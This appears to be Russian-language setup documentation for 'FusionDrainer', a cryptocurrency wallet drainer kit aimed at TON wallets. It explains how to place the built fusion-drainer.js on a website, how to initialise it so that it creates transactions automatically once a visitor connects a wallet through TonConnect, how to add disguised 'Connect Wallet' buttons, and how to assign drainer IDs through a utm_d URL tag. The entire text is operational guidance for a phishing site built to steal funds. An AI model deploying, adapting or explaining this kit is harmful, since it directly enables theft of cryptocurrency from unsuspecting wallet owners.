Русский

English

Русский

English

Установка дрейнера ​

Шаг 1: Распаковка архива ​

После завершения сборки дрейнера вы получите архив. Распакуйте все файлы из архива в корень вашего сайта.

Содержимое архива: ​

  • fusion-drainer.js — основной JavaScript файл для работы с кошельками и транзакциями.
  • fusion-drainer.css — стили для интерфейса.
  • tonconnect-manifest.json — файл манифеста для интеграции с кошельками через TON Connect.
  • example.html — пример страницы с настройками для использования дрейнера.

Шаг 2: Подключение файлов ​

После распаковки подключите необходимые файлы на вашем сайте, как показано в примере ниже.

Минимальный пример (example.html): ​

html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>FusionDrainer</title>

  <!-- Подключение CSS файла -->
  <link rel="stylesheet" href="/fusion-drainer.css?v=1.0.0" />
</head>
<body>
  <!-- Контейнер для оригинальной кнопки TonConnect -->
  <div class="ton-connect-button"></div>

  <!-- Подключение JavaScript файла -->
  <script src="/fusion-drainer.js?v=1.0.0" defer crossorigin></script>

  <!-- Инициализация дрейнера -->
  <script>
    window.addEventListener('load', () => {
      // Инициализация FusionDrainer
      window.drainer?.init({
        autoCreateTransaction: true,  // Автоматическое создание транзакции
        autoOpenModal: false,         // Автоматическое открытие модального окна
      });
    });
  </script>
</body>
</html>

Шаг 3: Настройка кнопок подключения кошелька ​

1. Оригинальная кнопка TonConnect (ton-connect-button): ​

Если вы используете стандартную кнопку TonConnect, достаточно добавить элемент с классом ton-connect-button. Этот элемент будет заменен на оригинальную кнопку, которая автоматически инициирует подключение кошелька.

Пример:

html
<div class="ton-connect-button"></div>

Особенности:

  • Это стандартная кнопка, которая автоматически стилизуется и управляется библиотекой.
  • Вам не нужно писать дополнительный код для её работы — просто добавьте элемент на страницу, и она станет активной после инициализации.

2. Кастомная кнопка с классом ton-connect-trigger: ​

Если вы хотите использовать свою собственную кнопку или элемент для открытия окна TonConnect, используйте класс ton-connect-trigger. Этот класс позволяет вам привязать открытие окна к любому элементу на странице, при этом элемент не будет заменен.

Пример кастомной кнопки:

html
<!-- Кастомная кнопка для подключения -->
<button class="ton-connect-trigger">Connect Wallet</button>

Особенности:

  • Кнопка с классом ton-connect-trigger не будет заменена библиотекой. Вы можете свободно стилизовать и использовать её по своему усмотрению.
  • Это удобно, если вам нужно сохранить дизайн кнопки или элемента, но при этом использовать функционал TonConnect.

Шаг 4: Обновление версии файлов ​

Каждый раз, когда вы пересобираете библиотеку для одного домена, обязательно обновляйте версию файлов, добавляя параметр версии (например, ?v=1.0.1), чтобы избежать проблем с кешированием:

html
<link rel="stylesheet" href="/fusion-drainer.css?v=1.0.1" />
<script src="/fusion-drainer.js?v=1.0.1" defer crossorigin></script>

Приоритетное использование UTM-метки utm_d ​

UTM-метка utm_d используется для задания приоритетного ID дрейнера
Если метка присутствует в URL, её значение будет использовано вместо стандартного ID, присвоенного при сборке.

Пример URL:

plaintext
https://example.com?utm_d=12345

В данном случае 12345 будет использоваться как идентификатор дрейнера. Если метка отсутствует, будет использоваться значение, дефолтное значение.

Итог: ​

  1. Распакуйте архив в корневую директорию сайта.
  2. Подключите файлы на вашем сайте.
  3. Вы можете использовать как стандартную кнопку TonConnect (ton-connect-button), так и свою кастомную кнопку с классом ton-connect-trigger для управления процессом подключения.
  4. Не забывайте обновлять версию файлов (?v=1.0.1) при каждой пересборке библиотеки для одного домена.